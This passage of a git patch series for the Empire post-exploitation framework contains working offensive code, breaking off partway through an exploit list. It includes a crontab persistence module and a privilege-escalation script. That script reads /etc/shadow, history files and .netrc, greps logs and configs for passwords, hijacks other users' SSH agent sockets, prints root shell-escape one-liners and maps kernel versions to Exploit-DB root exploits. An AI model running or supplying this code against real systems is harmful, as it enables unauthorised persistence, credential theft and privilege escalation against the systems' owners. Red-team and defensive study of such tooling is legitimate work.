From f2a4f853614a40f9276e718265f8353e6cfe2880 Mon Sep 17 00:00:00 2001 From: Anthony Rose <20302208+Cx01N@users.noreply.github.com> Date: Thu, 10 Nov 2022 18:44:18 -0500 Subject: [PATCH 1/9] rewrote crontab method (#468) --- .../python/persistence/multi/crontab.yaml | 79 ++++++++----------- 1 file changed, 35 insertions(+), 44 deletions(-) diff --git a/empire/server/modules/python/persistence/multi/crontab.yaml b/empire/server/modules/python/persistence/multi/crontab.yaml index 7c29031a8..8fd7cf634 100644 --- a/empire/server/modules/python/persistence/multi/crontab.yaml +++ b/empire/server/modules/python/persistence/multi/crontab.yaml @@ -1,7 +1,7 @@ name: Persistence with crontab authors: - - '@424f424f' -description: This module establishes persistence via crontab + - '@Cx01N' +description: This module establishes persistence via crontab. software: '' techniques: - T1168 @@ -10,55 +10,46 @@ output_extension: '' needs_admin: false opsec_safe: false language: python -min_language_version: '2.6' +min_language_version: '3.8' comments: - '' options: - name: Agent - description: Agent to grab a screenshot from. + description: Agent to run module on. required: true value: '' - - name: Remove - description: Remove Persistence. True/False - required: false - value: '' - - name: Hourly - description: Hourly persistence. + - name: Command + description: Command to run as a cron job. + required: true + value: 'python3 /home/kali/test.py' + - name: CronSettings + description: Command to run as a cron job. required: false - value: '' - - name: Hour - description: Hour to callback. 24hr format. + value: '*/5 * * * *' + - name: Remove + description: Remove the cron job. required: false - value: '' - - name: FileName - description: File name for the launcher. - required: true - value: '' + value: 'False' + suggested_values: + - 'True' + - 'False' + strict: true script: | import subprocess - import sys - Remove = "{{ Remove }}" - Hourly = "{{ Hourly }}" - Hour = "{{ Hour }}" - - - if Remove == "True": - cmd = 'crontab -l | grep -v "{{ FileName }}" | crontab -' - print(subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE).stdout.read()) - print(subprocess.Popen('crontab -l', shell=True, stdout=subprocess.PIPE).stdout.read()) - print("Finished") - - else: - if Hourly == "True": - cmd = 'crontab -l | { cat; echo "0 * * * * {{ FileName }}"; } | crontab -' - print(subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE).stdout.read()) - print(subprocess.Popen('crontab -l', shell=True, stdout=subprocess.PIPE).stdout.read()) - print(subprocess.Popen('chmod +x {{ FileName }}', shell=True, stdout=subprocess.PIPE).stdout.read()) - print("Finished") - - elif Hour: - cmd = 'crontab -l | { cat; echo "0 {{ Hour }} * * * {{ FileName }}"; } | crontab -' - print(subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE).stdout.read()) - print(subprocess.Popen('crontab -l', shell=True, stdout=subprocess.PIPE).stdout.read()) - print(subprocess.Popen('chmod +x {{ FileName }}', shell=True, stdout=subprocess.PIPE).stdout.read()) - print("Finished") \ No newline at end of file + + command = "{{Command}}" + cron_settings = "{{CronSettings}}" + delete = '{{Remove}}' + + try: + if delete.lower() == 'true': + subprocess.call(['crontab', '-r']) + print("Cronjob removed") + else: + cmd = '(crontab -l > .tab ; echo "' + cron_settings + ' ' + command + '" >> .tab ; crontab .tab ; rm .tab)' + proc = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, universal_newlines=True) + output = proc.stdout.readline() + print(output.rstrip()) + print("Cronjob created") + except Exception as e: + print("[!] " + str(e)) From 0bcdc734d6bc6dca4743421f945c7b43cb71aa97 Mon Sep 17 00:00:00 2001 From: Anthony Rose <20302208+Cx01N@users.noreply.github.com> Date: Thu, 10 Nov 2022 18:44:37 -0500 Subject: [PATCH 2/9] Fixed small readme mistakes in 4.8 (#469) * fixed small readme mistakes * missed space --- README.md | 22 ++++++++++++---------- 1 file changed, 12 insertions(+), 10 deletions(-) diff --git a/README.md b/README.md index 877caed9a..f930a74cf 100644 --- a/README.md +++ b/README.md @@ -1,8 +1,8 @@ ![Empire](https://user-images.githubusercontent.com/20302208/70022749-1ad2b080-154a-11ea-9d8c-1b42632fd9f9.jpg) [![Docs](https://img.shields.io/badge/Wiki-Docs-green?style=plastic&logo=wikipedia)](https://bc-security.gitbook.io/empire-wiki/) -![Twitter URL](https://img.shields.io/twitter/follow/BCSecurity1?style=plastic&logo=twitter) -![YouTube URL](https://img.shields.io/youtube/channel/views/UCIV4xSntF1h1bvFt8SUfzZg?style=plastic&logo=youtube) +[![Twitter URL](https://img.shields.io/twitter/follow/BCSecurity1?style=plastic&logo=twitter)](https://twitter.com/BCSecurity1) +[![YouTube URL](https://img.shields.io/youtube/channel/views/UCIV4xSntF1h1bvFt8SUfzZg?style=plastic&logo=youtube)](https://www.youtube.com/channel/UCIV4xSntF1h1bvFt8SUfzZg) [![Discord](https://img.shields.io/discord/716165691383873536?style=plastic&logo=discord)](https://discord.gg/P8PZPyf) [![Donate](https://img.shields.io/badge/Donate-Sponsor-blue?style=plastic&logo=github)](https://github.com/sponsors/BC-SECURITY) [![Blog](https://img.shields.io/badge/Blog-Read%20me-orange?style=plastic&logo=wordpress)](https://www.bc-security.org/blog) @@ -13,7 +13,7 @@ Empire is a post-exploitation and adversary emulation framework that is used to ### Features - Server/Client Architecture for Multiplayer Support - Supports GUI & CLI Clients -- Fully encrpyted communications +- Fully encrypted communications - HTTP/S, Malleable HTTP, OneDrive, Dropbox, and PHP Listeners - Massive library (400+) of supported tools in PowerShell, C#, & Python - Donut Integration for shellcode generation @@ -23,8 +23,8 @@ Empire is a post-exploitation and adversary emulation framework that is used to - In-memory .NET assembly execution - Customizable Bypasses - JA3/S and JARM Evasion -- MITRE ATT&CK Integation -- Integrated Roslyn compiler (Thanks to Covenant) +- MITRE ATT&CK Integration +- Integrated Roslyn compiler (Thanks to [Covenant](https://github.com/cobbr/Covenant)) - Docker, Kali, Ubuntu, and Debian Install Support ### Agents @@ -80,8 +80,6 @@ Check out the [Installation Page](https://bc-security.gitbook.io/empire-wiki/qui Check out the [Empire Docs](https://bc-security.gitbook.io/empire-wiki/) for more instructions on installing and using with Empire. For a complete list of the 4.0 changes, see the [changelog](./changelog). -Join us in [our Discord](https://discord.gg/P8PZPyf) to with any comments, questions, concerns, or problems! - ## Starkiller
@@ -91,17 +89,21 @@ Join us in [our Discord](https://discord.gg/P8PZPyf) to with any comments, quest See [Contributing](./.github/CONTRIBUTING.md) ## Contributors -[@Cx01N](https://twitter.com/Cx01N_) -[@Hubbl3](https://twitter.com/_Hubbl3) -[@Vinnybod](https://twitter.com/_vinnybod) +A special thanks to the following contributors for their help with Empire: + [@harmj0y](https://twitter.com/harmj0y) [@sixdub](https://twitter.com/sixdub) [@enigma0x3](https://twitter.com/enigma0x3) [@rvrsh3ll](https://twitter.com/424f424f) [@killswitch_gui](https://twitter.com/killswitch_gui) [@xorrior](https://twitter.com/xorrior) +[@Cx01N](https://twitter.com/Cx01N_) +[@Hubbl3](https://twitter.com/_Hubbl3) +[@Vinnybod](https://twitter.com/_vinnybod) ## Official Discord Channel +Join us in [our Discord](https://discord.gg/P8PZPyf) to with any comments, questions, concerns, or problems! +

From 58584e6c4f1dee2fffc7c6afe77a26f68cd9f98c Mon Sep 17 00:00:00 2001 From: Cx01N Date: Thu, 10 Nov 2022 19:33:39 -0500 Subject: [PATCH 3/9] updated linux_privesc and fixed comment stripping in python --- empire/server/common/helpers.py | 9 +- empire/server/common/modules.py | 3 + .../python/privesc/linuxprivchecker.py | 817 ++++++++++++++++++ .../privesc/linux/linux_priv_checker.yaml | 366 +------- 4 files changed, 835 insertions(+), 360 deletions(-) create mode 100644 empire/server/data/module_source/python/privesc/linuxprivchecker.py diff --git a/empire/server/common/helpers.py b/empire/server/common/helpers.py index 493e3ad72..de5322dce 100644 --- a/empire/server/common/helpers.py +++ b/empire/server/common/helpers.py @@ -145,10 +145,16 @@ def strip_python_comments(data): """ *** DECEMBER 2017 - DEPRECATED, PLEASE DO NOT USE *** - Strip block comments, line comments, empty lines, verbose statements, + Strip block comments, line comments, empty lines, verbose statements, docstring, and debug statements from a Python source file. """ print(color("[!] strip_python_comments is deprecated and should not be used")) + + # remove docstrings + data = re.sub(r'""".*?"""', "", data, flags=re.DOTALL) + data = re.sub(r"'''.*?'''", "", data, flags=re.DOTALL) + + # remove comments lines = data.split("\n") strippedLines = [ line @@ -157,7 +163,6 @@ def strip_python_comments(data): ] return "\n".join(strippedLines) - #################################################################################### # # PowerShell-specific helpers diff --git a/empire/server/common/modules.py b/empire/server/common/modules.py index 6b70d3bba..6652ce63d 100644 --- a/empire/server/common/modules.py +++ b/empire/server/common/modules.py @@ -87,6 +87,9 @@ def execute_module( if module.language == LanguageEnum.powershell: module_data = helpers.strip_powershell_comments(module_data) + if module.language == LanguageEnum.python: + module_data = helpers.strip_python_comments(module_data) + # check if module is external if "Agent" not in params.keys(): msg = f"tasked external module: {module.name}" diff --git a/empire/server/data/module_source/python/privesc/linuxprivchecker.py b/empire/server/data/module_source/python/privesc/linuxprivchecker.py new file mode 100644 index 000000000..ba50f86b0 --- /dev/null +++ b/empire/server/data/module_source/python/privesc/linuxprivchecker.py @@ -0,0 +1,817 @@ +""" +############################################################################################################### +## [Title]: linuxprivchecker.py -- a Linux Privilege Escalation Check Script +## [Original Author]: Mike Czumak (T_v3rn1x) -- @SecuritySift +## [Maintainer]: Michael Contino -- @Sleventyeleven +##------------------------------------------------------------------------------------------------------------- +## [Details]: +## This script is intended to be executed locally on a Linux box to enumerate basic system info and +## search for common privilege escalation vectors such as world writable files, misconfigurations, clear-text +## passwords and applicable exploits. +##------------------------------------------------------------------------------------------------------------- +## [Modification, Distribution, and Attribution]: +## You are free to modify and/or distribute this script as you wish. I only ask that you maintain original +## author attribution and not attempt to sell it or incorporate it into any commercial offering (as if it's +## worth anything anyway :) +############################################################################################################### +TODO: +Add search for writable and/or missing library files +Add detection and enumeratation for systemd +Add search for accessiable ssh sockets +Add search for ssh keys +Add search for know access tokens +Expand Sudo support to include rules in sudoers.d +Add more high profile exploit checks (ie shellshock) +""" +import sys + +# conditional import for older versions of python not compatible with subprocess +try: + import subprocess as sub + + compatmode = 0 # newer version of python, no need for compatibility mode +except ImportError: + import os # older version of python, need to use os instead + + compatmode = 1 + + +def execute_cmd(cmddict): + """ + Execute Command (execute_cmd) + loop through dictionary, execute the commands, store the results, return updated dict + + :param cmddict: Dictionary of commands to execute and results + :return: The command Dictionary with the commands results included + """ + + for item in cmddict: + cmd = cmddict[item]["cmd"] + if compatmode == 0: # newer version of python, use preferred subprocess + out, error = sub.Popen([cmd], stdout=sub.PIPE, stderr=sub.PIPE, shell=True).communicate() + results = out.decode().split('\n') + else: # older version of python, use os.popen + echo_stdout = os.popen(cmd, 'r') + results = echo_stdout.read().split('\n') + + # write the results to the command Dictionary for each command run + cmddict[item]["results"] = results + + return cmddict + + +def print_results(cmddict): + """ + Print Results (printResults) + Print results for each previously executed command, no return value + + :param cmddict: Dictionary of commands to execute and results + :return: None + """ + + for item in cmddict: + msg = cmddict[item]["msg"] + results = cmddict[item]["results"] + print("[+] " + msg) + + for result in results: + if result.strip() != "": + print(" " + result.strip()) + print() + + +def enum_system_info(): + """ + Basic System Info (get_system_info) + Enumerate Basic System Information by executing simple commands than saving the results + + :return: Dictionary of system information results + """ + + print("[*] GETTING BASIC SYSTEM INFO...\n") + + sysinfo = { + "OS": {"cmd": "cat /etc/issue", "msg": "Operating System", "results": []}, + "KERNEL": {"cmd": "cat /proc/version", "msg": "Kernel", "results": []}, + "HOSTNAME": {"cmd": "hostname", "msg": "Hostname", "results": []} + } + + sysinfo = execute_cmd(sysinfo) + print_results(sysinfo) + + return sysinfo + + +def enum_network_info(): + """ + Basic Network Info (get_network_info) + Enumerate Basic Network Information by executing simple commands + + :return: Dictionary of Network information with results + """ + + print("[*] GETTING NETWORKING INFO...\n") + + netinfo = { + "netinfo": {"cmd": "/sbin/ifconfig -a", "msg": "Interfaces", "results": []}, + "ROUTE": {"cmd": "route", "msg": "Route(s)", "results": []}, + "NETSTAT": {"cmd": "netstat -antup | grep -v 'TIME_WAIT'", "msg": "Netstat", "results": []} + } + + netinfo = execute_cmd(netinfo) + print_results(netinfo) + + +def enum_filesystem_info(): + """ + Enumerate Filesystem Information (enum_filesystem_info) + Enumerate mounted and/or configured filesystems and save the results + + :return: Dictionary with drive information results + TODO: Parse parse out the filesystem results for remote file systems and credentials + """ + + print("[*] GETTING FILESYSTEM INFO...\n") + + driveinfo = { + "MOUNT": {"cmd": "mount", "msg": "Mount results", "results": []}, + "FSTAB": {"cmd": "cat /etc/fstab 2>/dev/null", "msg": "fstab entries", "results": []} + } + + driveinfo = execute_cmd(driveinfo) + print_results(driveinfo) + + return driveinfo + + +def enum_cron_jobs(): + """ + Enumerate crontab Information (enum_cron_jobs) + Enumerate system and user cron jobs and save the results + + :return: None + TODO: Should also parse at and systemd jobs for possible information as well + """ + croninfo = { + "CRON": {"cmd": "ls -la /etc/cron* 2>/dev/null", "msg": "Scheduled cron jobs", "results": []}, + "CRONW": {"cmd": "ls -aRl /etc/cron* 2>/dev/null | awk '$1 ~ /w.$/' 2>/dev/null", "msg": "Writable cron dirs", + "results": []}, + "CRONU": {"cmd": "crontab -l 2>/dev/null", "msg": "Users cron jobs", "results": []} + } + + croninfo = execute_cmd(croninfo) + print_results(croninfo) + + +def enum_user_info(): + """ + Enumerate User Information (enum_user_info) + Enumerate current user information and save the results + + :return: Dictionary with the user information commands and results + """ + print("\n[*] ENUMERATING USER AND ENVIRONMENTAL INFO...\n") + + userinfo = { + "WHOAMI": {"cmd": "whoami", "msg": "Current User", "results": []}, + "ID": {"cmd": "id", "msg": "Current User ID", "results": []}, + "ALLUSERS": {"cmd": "cat /etc/passwd", "msg": "All users", "results": []}, + "SUPUSERS": {"cmd": "grep -v -E '^#' /etc/passwd | awk -F: '$3 == 0{print $1}'", "msg": "Super Users Found:", + "results": []}, + "ENV": {"cmd": "env 2>/dev/null | grep -v 'LS_COLORS'", "msg": "Environment", "results": []}, + "SUDOERS": {"cmd": "cat /etc/sudoers 2>/dev/null | grep -v '#' 2>/dev/null", "msg": "Sudoers (privileged)", + "results": []}, + "SCREENS": {"cmd": "screen -ls 2>/dev/null", "msg": "List out any screens running for the current user", + "results": []}, + "LOGGEDIN": {"cmd": "who -a 2>/dev/null", "msg": "Logged in User Activity", "results": []} + } + + userinfo = execute_cmd(userinfo) + print_results(userinfo) + + if "root" in userinfo["ID"]["results"][0]: + print("[!] ARE YOU SURE YOU'RE NOT ROOT ALREADY?\n") + exit() + + return userinfo + + +def enum_user_history_files(): + """ + Enumerate User History Files (enum_user_history_files) + Enumerate current user History Files and save content to results + + :return: None + """ + print("\n[*] ENUMERATING USER History Files..\n") + + historyfiles = { + "RHISTORY": {"cmd": "ls -la /root/.*_history 2>/dev/null", + "msg": " See if you have access too Root user history (depends on privs)", "results": []}, + "BASHHISTORY": {"cmd": "cat ~/.bash_history 2>/dev/null", + "msg": " Get the contents of bash history file for current user", "results": []}, + "NANOHISTORY": {"cmd": "cat ~/.nano_history 2>/dev/null", + "msg": " Try to get the contents of nano history file for current user", "results": []}, + "ATFTPHISTORY": {"cmd": "cat ~/.atftp_history 2>/dev/null", + "msg": " Try to get the contents of atftp history file for current user", "results": []}, + "MYSQLHISTORY": {"cmd": "cat ~/.mysql_history 2>/dev/null", + "msg": " Try to get the contents of mysql history file for current user", "results": []}, + "PHPHISTORY": {"cmd": "cat ~/.php_history 2>/dev/null", + "msg": " Try to get the contents of php history file for current user", "results": []}, + "PYTHONHISTORY": {"cmd": "cat ~/.python_history 2>/dev/null", + "msg": " Try to get the contents of python history file for current user", "results": []}, + "REDISHISTORY": {"cmd": "cat ~/.rediscli_history 2>/dev/null", + "msg": " Try to get the contents of redis cli history file for current user", "results": []}, + "TDSQLHISTORY": {"cmd": "cat ~/.tdsql_history 2>/dev/null", + "msg": " Try to get the contents of tdsql history file for current user", "results": []} + } + + historyfiles = execute_cmd(historyfiles) + print_results(historyfiles) + + +def enum_rc_files(): + """ + Enumerate User RCFiles (enum_rc_files) + Enumerate current user RC Files and save content to results + + :return: None + """ + print("\n[*] ENUMERATING USER *.rc Style Files For INFO...\n") + + rcfiles = { + "GBASHRC": {"cmd": "cat /etc/bashrc 2>/dev/null", + "msg": " Get the contents of bash rc file form global config file", "results": []}, + "BASHRC": {"cmd": "cat ~/.bashrc 2>/dev/null", "msg": "Get the contents of bash rc file for current user", + "results": []}, + "SCREENRC": {"cmd": "cat ~/.screenrc 2>/dev/null", + "msg": " Try to get the contents of screen rc file for current user", "results": []}, + "GSCREENRC": {"cmd": "cat /etc/screenrc 2>/dev/null", + "msg": "Try to get the contents of screen rc file form global config file", "results": []}, + "VIRC": {"cmd": "cat ~/.virc 2>/dev/null", "msg": " Try to get the contents of vi rc file for current user", + "results": []}, + "MYSQLRC": {"cmd": "cat ~/.mysqlrc 2>/dev/null", + "msg": " Try to get the contents of mysql rc file for current user", "results": []}, + "NETRC": {"cmd": "cat ~/.netrc 2>/dev/null", + "msg": " Try to get the contents of legacy net rc file for current user", "results": []} + } + + rcfiles = execute_cmd(rcfiles) + print_results(rcfiles) + + +def search_file_perms(): + """ + Search File and Folder Permissions (search_file_perms) + Search the identified file systems for insure file and folder permissions + + :return: None + """ + + print("[*] ENUMERATING FILE AND DIRECTORY PERMISSIONS/CONTENTS...\n") + + fdperms = { + "WWDIRSROOT": { + "cmd": "find / \( -wholename '/home/homedir*' -prune \) -o \( -type d -perm -0002 \) -exec ls -ld '{}' ';' 2>/dev/null | grep root", + "msg": "World Writeable Directories for User/Group 'Root'", "results": []}, + "WWDIRS": { + "cmd": "find / \( -wholename '/home/homedir*' -prune \) -o \( -type d -perm -0002 \) -exec ls -ld '{}' ';' 2>/dev/null | grep -v root", + "msg": "World Writeable Directories for Users other than Root", "results": []}, + "WWFILES": { + "cmd": "find / \( -wholename '/home/homedir/*' -prune -o -wholename '/proc/*' -prune \) -o \( -type f -perm -0002 \) -exec ls -l '{}' ';' 2>/dev/null", + "msg": "World Writable Files", "results": []}, + "SUID": {"cmd": "find / \( -perm -2000 -o -perm -4000 \) -exec ls -ld {} \; 2>/dev/null", + "msg": "SUID/SGID Files and Directories", "results": []}, + "ROOTHOME": {"cmd": "ls -ahlR /root 2>/dev/null", "msg": "Checking if root's home folder is accessible", + "results": []} + } + + fdperms = execute_cmd(fdperms) + print_results(fdperms) + + +def search_file_passwords(): + """ + Search File for passwords (search_file_passwords) + Search the identified file systems for files with potential credentials + + :return: None + :TODO: Add searches for common cred files like ssh keys and access tokens + """ + + pwdfiles = { + "LOGPWDS": {"cmd": "find /var/log -name '*.log' 2>/dev/null | xargs -l10 egrep 'pwd|password' 2>/dev/null", + "msg": "Logs containing keyword 'password'", "results": []}, + "CONFPWDS": {"cmd": "find /etc -name '*.c*' 2>/dev/null | xargs -l10 egrep 'pwd|password' 2>/dev/null", + "msg": "Config files containing keyword 'password'", "results": []}, + "SHADOW": {"cmd": "cat /etc/shadow 2>/dev/null", "msg": "Shadow File (Privileged)", "results": []} + } + + pwdfiles = execute_cmd(pwdfiles) + print_results(pwdfiles) + + +def enum_procs_pkgs(sysinfo): + """ + Enumerate Processes and Packages (enum_procs_pkgs) + Enumerate all running processes and installed packages + + :return: Dictionary with process and package information + """ + + # Processes and Applications + print("[*] ENUMERATING PROCESSES AND APPLICATIONS...\n") + + if "debian" in sysinfo["KERNEL"]["results"][0] or "ubuntu" in sysinfo["KERNEL"]["results"][0]: + getpkgs = "dpkg -l | awk '{$1=$4=\"\"; print $0}'" # debian + else: + getpkgs = "rpm -qa | sort -u" # RH/other + + pkgsandprocs = { + "PROCS": {"cmd": "ps waux | awk '{print $1,$2,$9,$10,$11}'", "msg": "Current processes", "results": []}, + "PKGS": {"cmd": getpkgs, "msg": "Installed Packages", "results": []} + } + + pkgsandprocs = execute_cmd(pkgsandprocs) + print_results(pkgsandprocs) # comment to reduce output + + otherapps = { + "SUDO": {"cmd": "sudo -V | grep version 2>/dev/null", + "msg": "Sudo Version (Check out http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=sudo)", + "results": []}, + "APACHE": {"cmd": "apache2 -v; apache2ctl -M; httpd -v; apachectl -l 2>/dev/null", + "msg": "Apache Version and Modules", "results": []}, + "APACHECONF": {"cmd": "cat /etc/apache2/apache2.conf 2>/dev/null", "msg": "Apache Config File", "results": []}, + "SSHAGENTS": { + "cmd": "for AGENT in $(ls /tmp| egrep 'ssh-.{10}$'); do echo $AGENT $(stat -c '%U' /tmp/$AGENT);export SSH_AUTH_SOCK=/tmp/$AGENT/$(ls /tmp/$AGENT);timeout 10 ssh-add -l 2>/dev/null;done;", + "msg": "Checking for Active SSH Agents", "results": []} + } + + execute_cmd(otherapps) + print_results(otherapps) + + return pkgsandprocs + + +def enum_root_pkg_proc(pkgsandprocs, userinfo): + """ + Enumerate root packages (enum_root_pkg_proc) + Enumerate Root/superuser packages to target based on process information + :param pkgsandprocs: Dictionary with process and package information + :param userinfo: Dictionary with the user information commands and results + + :return: The drive information Dictionary with the commands results included + """ + print("[*] IDENTIFYING PROCESSES AND PACKAGES RUNNING AS ROOT OR OTHER SUPERUSER...\n") + + # find the package information for the processes currently running + # under root or another super user + + procs = pkgsandprocs["PROCS"]["results"] + pkgs = pkgsandprocs["PKGS"]["results"] + supusers = userinfo["SUPUSERS"]["results"] + procdict = {} # dictionary to hold the processes running as super users + + for proc in procs: # loop through each process + relatedpkgs = [] # list to hold the packages related to a process + try: + for user in supusers: # loop through the known super users + if (user != "") and (user in proc): # if the process is being run by a super user + procname = proc.split(" ")[4] # grab the process name + if "/" in procname: + splitname = procname.split("/") + procname = splitname[len(splitname) - 1] + for pkg in pkgs: # loop through the packages + if not len(procname) < 3: # name too short to get reliable package results + if procname in pkg: + if procname in procdict: + relatedpkgs = procdict[proc] # if already in the dict, grab its pkg list + if pkg not in relatedpkgs: + relatedpkgs.append(pkg) # add pkg to the list + procdict[proc] = relatedpkgs # add any found related packages to the process dictionary entry + except: + pass + + for key in procdict: + print(" " + key) # print the process name + try: + if not procdict[key][0] == "": # only print the rest if related packages were found + print(" Possible Related Packages: ") + for entry in procdict[key]: + print(" " + entry) # print each related package + except IndexError: + pass + + +def enum_dev_tools(): + """ + Enumerate Development Tools (enum_dev_tools) + Enumerate installed development tools and save the results + + :return: Dictionary of installed development tool results + """ + + print("[*] ENUMERATING INSTALLED LANGUAGES/TOOLS FOR SPLOIT BUILDING...\n") + + devtools = { + "TOOLS": {"cmd": "which awk perl python ruby gcc cc vi vim nmap find netcat nc wget tftp ftp 2>/dev/null", + "msg": "Installed Tools", "results": []}} + execute_cmd(devtools) + print_results(devtools) + + return devtools + + +def enum_shell_esapes(devtools): + """ + Enumerate Filesystem Information (enum_shell_escapes) + Enumerate possible shell escape techniques based on available development tools + :param devtools: Dictionary of installed development tool results + + :return: None + """ + + print("[+] Related Shell Escape Sequences...\n") + + escapecmd = { + "vi": [":!bash", ":set shell=/bin/bash:shell"], + "awk": ["awk 'BEGIN {system(\"/bin/bash\")}'"], + "perl": ["perl -e 'exec \"/bin/bash\";'"], + "find": ["find / -exec /usr/bin/awk 'BEGIN {system(\"/bin/bash\")}' \\;"], + "nmap": ["--interactive"] + } + + for cmd in escapecmd: + for result in devtools["TOOLS"]["results"]: + if cmd in result: + for item in escapecmd[cmd]: + print(" " + cmd + "-->\t" + item) + + +def find_likely_exploits(sysinfo, devtools, pkgsandprocs, driveinfo): + """ + Enumerate Likely Exploits (find_likely_exploits) + Enumerate possible exploits based on system information and installed packages + :param sysinfo: Dictionary of system information results + :param devtools: Dictionary of installed development tool results + :param pkgsandprocs: Dictionary with process and package information + :param driveinfo: Dictionary with drive information results + + :return: The drive information Dictionary with the commands results included + TODO: Parse parse out the filesystem results for remote file systems and credentials + """ + + print("[*] FINDING RELEVENT PRIVILEGE ESCALATION EXPLOITS...\n") + + # Now check for relevant exploits (note: this list should be updated over time; source: Exploit-DB) + # sploit format = sploit name : {minversion, maxversion, exploitdb#, language, {keywords for applicability}} -- current keywords are 'kernel', 'proc', 'pkg' (unused), and 'os' + sploits = { + "2.2.x-2.4.x ptrace kmod local exploit": {"minver": "2.2", "maxver": "2.4.99", "exploitdb": "3", "lang": "c", + "keywords": {"loc": ["kernel"], "val": "kernel"}}, + "< 2.4.20 Module Loader Local Root Exploit": {"minver": "0", "maxver": "2.4.20", "exploitdb": "12", "lang": "c", + "keywords": {"loc": ["kernel"], "val": "kernel"}}, + "2.4.22 "'do_brk()'" local Root Exploit (PoC)": {"minver": "2.4.22", "maxver": "2.4.22", "exploitdb": "129", + "lang": "asm", + "keywords": {"loc": ["kernel"], "val": "kernel"}}, + "<= 2.4.22 (do_brk) Local Root Exploit (working)": {"minver": "0", "maxver": "2.4.22", "exploitdb": "131", + "lang": "c", + "keywords": {"loc": ["kernel"], "val": "kernel"}}, + "2.4.x mremap() bound checking Root Exploit": {"minver": "2.4", "maxver": "2.4.99", "exploitdb": "145", + "lang": "c", "keywords": {"loc": ["kernel"], "val": "kernel"}}, + "<= 2.4.29-rc2 uselib() Privilege Elevation": {"minver": "0", "maxver": "2.4.29", "exploitdb": "744", + "lang": "c", "keywords": {"loc": ["kernel"], "val": "kernel"}}, + "2.4 uselib() Privilege Elevation Exploit": {"minver": "2.4", "maxver": "2.4", "exploitdb": "778", "lang": "c", + "keywords": {"loc": ["kernel"], "val": "kernel"}}, + "2.4.x / 2.6.x uselib() Local Privilege Escalation Exploit": {"minver": "2.4", "maxver": "2.6.99", + "exploitdb": "895", "lang": "c", + "keywords": {"loc": ["kernel"], "val": "kernel"}}, + "2.4/2.6 bluez Local Root Privilege Escalation Exploit (update)": {"minver": "2.4", "maxver": "2.6.99", + "exploitdb": "926", "lang": "c", + "keywords": {"loc": ["proc", "pkg"], + "val": "bluez"}}, + "<= 2.6.11 (CPL 0) Local Root Exploit (k-rad3.c)": {"minver": "0", "maxver": "2.6.11", "exploitdb": "1397", + "lang": "c", + "keywords": {"loc": ["kernel"], "val": "kernel"}}, + "MySQL 4.x/5.0 User-Defined Function Local Privilege Escalation Exploit": {"minver": "0", "maxver": "99", + "exploitdb": "1518", "lang": "c", + "keywords": {"loc": ["proc", "pkg"], + "val": "mysql"}}, + "2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit": {"minver": "2.6.13", "maxver": "2.6.17.4", + "exploitdb": "2004", "lang": "c", + "keywords": {"loc": ["kernel"], "val": "kernel"}}, + "2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit (2)": {"minver": "2.6.13", "maxver": "2.6.17.4", + "exploitdb": "2005", "lang": "c", + "keywords": {"loc": ["kernel"], "val": "kernel"}}, + "2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit (3)": {"minver": "2.6.13", "maxver": "2.6.17.4", + "exploitdb": "2006", "lang": "c", + "keywords": {"loc": ["kernel"], "val": "kernel"}}, + "2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit (4)": {"minver": "2.6.13", "maxver": "2.6.17.4", + "exploitdb": "2011", "lang": "sh", + "keywords": {"loc": ["kernel"], "val": "kernel"}}, + "<= 2.6.17.4 (proc) Local Root Exploit": {"minver": "0", "maxver": "2.6.17.4", "exploitdb": "2013", "lang": "c", + "keywords": {"loc": ["kernel"], "val": "kernel"}}, + "2.6.13 <= 2.6.17.4 prctl() Local Root Exploit (logrotate)": {"minver": "2.6.13", "maxver": "2.6.17.4", + "exploitdb": "2031", "lang": "c", + "keywords": {"loc": ["kernel"], "val": "kernel"}}, + "Ubuntu/Debian Apache 1.3.33/1.3.34 (CGI TTY) Local Root Exploit": {"minver": "4.10", "maxver": "7.04", + "exploitdb": "3384", "lang": "c", + "keywords": {"loc": ["os"], + "val": "debian"}}, + "Linux/Kernel 2.4/2.6 x86-64 System Call Emulation Exploit": {"minver": "2.4", "maxver": "2.6", + "exploitdb": "4460", "lang": "c", + "keywords": {"loc": ["kernel"], "val": "kernel"}}, + "< 2.6.11.5 BLUETOOTH Stack Local Root Exploit": {"minver": "0", "maxver": "2.6.11.5", "exploitdb": "4756", + "lang": "c", + "keywords": {"loc": ["proc", "pkg"], "val": "bluetooth"}}, + "2.6.17 - 2.6.24.1 vmsplice Local Root Exploit": {"minver": "2.6.17", "maxver": "2.6.24.1", "exploitdb": "5092", + "lang": "c", + "keywords": {"loc": ["kernel"], "val": "kernel"}}, + "2.6.23 - 2.6.24 vmsplice Local Root Exploit": {"minver": "2.6.23", "maxver": "2.6.24", "exploitdb": "5093", + "lang": "c", "keywords": {"loc": ["os"], "val": "debian"}}, + "Debian OpenSSL Predictable PRNG Bruteforce SSH Exploit": {"minver": "0", "maxver": "99", "exploitdb": "5720", + "lang": "python", + "keywords": {"loc": ["os"], "val": "debian"}}, + "Linux Kernel < 2.6.22 ftruncate()/open() Local Exploit": {"minver": "0", "maxver": "2.6.22", + "exploitdb": "6851", "lang": "c", + "keywords": {"loc": ["kernel"], "val": "kernel"}}, + "< 2.6.29 exit_notify() Local Privilege Escalation Exploit": {"minver": "0", "maxver": "2.6.29", + "exploitdb": "8369", "lang": "c", + "keywords": {"loc": ["kernel"], "val": "kernel"}}, + "2.6 UDEV Local Privilege Escalation Exploit": {"minver": "2.6", "maxver": "2.6.99", "exploitdb": "8478", + "lang": "c", + "keywords": {"loc": ["proc", "pkg"], "val": "udev"}}, + "2.6 UDEV < 141 Local Privilege Escalation Exploit": {"minver": "2.6", "maxver": "2.6.99", "exploitdb": "8572", + "lang": "c", + "keywords": {"loc": ["proc", "pkg"], "val": "udev"}}, + "2.6.x ptrace_attach Local Privilege Escalation Exploit": {"minver": "2.6", "maxver": "2.6.99", + "exploitdb": "8673", "lang": "c", + "keywords": {"loc": ["kernel"], "val": "kernel"}}, + "2.6.29 ptrace_attach() Local Root Race Condition Exploit": {"minver": "2.6.29", "maxver": "2.6.29", + "exploitdb": "8678", "lang": "c", + 